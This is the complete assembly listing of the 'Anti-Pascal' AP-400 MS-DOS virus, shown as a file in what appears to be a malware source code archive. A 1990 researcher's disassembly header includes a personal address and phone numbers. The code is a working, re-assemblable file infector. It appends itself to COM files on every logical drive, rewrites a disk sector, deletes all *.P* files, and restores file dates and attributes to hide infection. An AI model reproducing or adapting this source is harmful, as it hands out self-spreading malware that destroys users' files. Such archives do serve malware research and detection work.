MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.ap-400.asm
2021-01-12 17:31:39 -06:00

270 lines
6.2 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

page ,132
name AP400
title The 'Anti-Pascal' virus, version AP-400
.radix 16
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 º
; º Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 º
; º º
; º The 'Anti-Pascal' Virus, version AP-400 º
; º Disassembled by Vesselin Bontchev, July 1990 º
; º º
; º Copyright (c) Vesselin Bontchev 1989, 1990 º
; º º
; º This listing is only to be made available to virus researchers º
; º or software writers on a need-to-know basis. º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
; The disassembly has been tested by re-assembly using MASM 5.0.
code segment
assume cs:code, ds:code
org 100
v_const = 2042d
start:
jmp v_entry
db 0CA ; Virus signature
db (2048d - 9) dup (90) ; The original "program"
mov ax,4C00 ; Just exit
int 21
v_start label byte
first4 db 0E9, 0F8, 7, 90
allcom db '*.COM', 0
mydta label byte
reserve db 15 dup (?)
attrib db ?
time dw ?
date dw ?
fsize dd ?
namez db 14d dup (?)
allp db 0, '?????????A?'
maxdrv db ?
sign db 'PAD'
v_entry:
push ax ; Save AX & DX
push dx
mov ah,19 ; Get the default drive
int 21
push ax ; Save it on stack
mov ah,0E ; Set it as default (?!)
mov dl,al
int 21 ; Do it
call self ; Determine the virus' start address
self:
pop si
sub si,offset self-v_const
; Save the number of logical drives in the system:
mov byte ptr [si+offset maxdrv-v_const],al
; Restore the first 4 bytes of the infected program:
mov ax,[si+offset first4-v_const]
mov word ptr ds:[offset start],ax
mov ax,[si+offset first4+2-v_const]
mov word ptr ds:[offset start+2],ax
mov ah,1A ; Set new DTA
lea dx,[si+offset mydta-v_const]
int 21 ; Do it
pop ax ; Restore current drive in AL
push ax ; Keep it on stack
call inf_drive ; Proceed with the current drive
xor al,al ; For all logical drives in the system
drv_lp:
call inf_drive ; Proceed with drive
jbe drv_lp ; Loop until no more drives
pop ax ; Restore the saved current drive
mov ah,0E ; Set it as current drive
mov dl,al
int 21 ; Do it
mov dx,80 ; Restore original DTA
mov ah,1A
int 21 ; Do it
mov si,offset start
pop dx ; Restore DX & AX
pop ax
jmp si ; Run the original program
inf_drive:
push ax ; Save the selected drive number on stack
mov ah,0E ; Select that drive
mov dl,al
int 21 ; Do ti
pop ax ; Restore AX
push ax ; Save the registers used
push bx
push cx
push si ; Save SI
mov cx,1 ; Read sector #50 of the drive specified
mov dx,50d
lea bx,[si+offset v_end-v_const]
push ax ; Save AX
push bx ; Save BX, CX & DX also
push cx
push dx
int 25 ; Do read
pop dx ; Clear the stack
pop dx ; Restore saved DX, CX & BX
pop cx
pop bx
jnc wr_drive ; Write the information back if no error
pop ax ; Restore AX
pop si ; Restore SI
drv_xit:
pop cx ; Restore used registers
pop bx
pop ax
inc al ; Go to next drive number
cmp al,[si+offset maxdrv-v_const] ; See if there are more drives
xit:
ret ; Exit
wr_drive:
pop ax ; Restore drive number in AL
int 26 ; Do write
pop ax ; Clear the stack
pop si ; Restore Si
jnc cont ; Continue if no error
clc
jmp drv_xit ; Otherwise exit
; Find first COM file on the current directory of the selected drive:
cont:
mov ah,4E
xor cx,cx ; Normal files only
lea dx,[si+offset allcom-v_const] ; File mask
next:
int 21 ; Do find
jc no_more ; Quit search if no more such files
lea dx,[si+offset namez-v_const] ; Get file name found
call infect ; Infect that file
mov ah,4F ; Prepare for FindNext
jc next ; If infection not successful, go to next file
jmp drv_xit ; Otherwise quit
no_more:
mov ah,13 ; Delete all *.P* files in that dir
lea dx,[si+offset allp-v_const]
int 21 ; Do it
clc
jmp drv_xit ; Done. Exit
namaddr dw ? ; Address of the file name buffer
infect:
mov [si+offset namaddr-v_const],dx ; Save file name address
mov ax,4301 ; Reset all file attributes
xor cx,cx
int 21 ; Do it
jc xit ; Exit on error
mov ax,3D02 ; Open file for both reading and writing
int 21
jc xit ; Exit on arror
mov bx,ax ; Save file handle in BX
mov cx,4 ; Read the first 4 bytes of the file
mov ah,3F
lea di,[si+offset first4-v_const] ; Save them in first4
mov dx,di
int 21 ; Do it
jc quit ; Exit on error
cmp byte ptr [di+3],0CA ; File already infected?
stc ; Set CF to indicate it
jz quit ; Don't touch this file if so
mov cx,[si+offset fsize-v_const]
cmp cx,2048d ; Check if file size >= 2048 bytes
jb quit ; Exit if not
cmp cx,64000d ; Check if file size <= 64000 bytes
stc ; Set CF to indicate it
ja quit ; Exit if not
xor cx,cx ; Seek to file end
xor dx,dx
mov ax,4202
int 21 ; Do it
push ax ; Save file size on stack
jc quit ; Exit on error
; Write the virus body after the end of file:
mov cx,v_end-v_start
nop
lea dx,[si+offset v_start-v_const]
mov ah,40
int 21 ; Do it
jc quit ; Exit on error
pop ax ; Restore file size in AX
; Form a new address for the first JMP instruction in AX:
add ax,v_entry-v_start-3
mov byte ptr [di],0E9 ; JMP opcode
mov [di+1],ax
mov byte ptr [di+3],0CA ; Set the "file infected" sign
xor cx,cx ; Seek to file beginning
xor dx,dx
mov ax,4200
int 21 ; Do it
jc quit ; Exit on error
mov cx,4 ; Write the new first 4 bytes of the file
mov dx,di
mov ah,40
int 21 ; Do it
quit:
pushf ; Save flags
mov ax,5701 ; Set file date & time
mov cx,[si+offset time-v_const] ; Get time from mydta
mov dx,[si+offset date-v_const] ; Get date from mydta
int 21 ; Do it
mov ah,3E ; Close the file
int 21
mov ax,4301 ; Set file attributes
mov cl,[si+offset attrib-v_const] ; Get them from mydta
xor ch,ch
mov dx,[si+offset namaddr-v_const] ; Point to file name
int 21 ; Do it
popf ; Restore flags
ret
v_end equ $
code ends
end start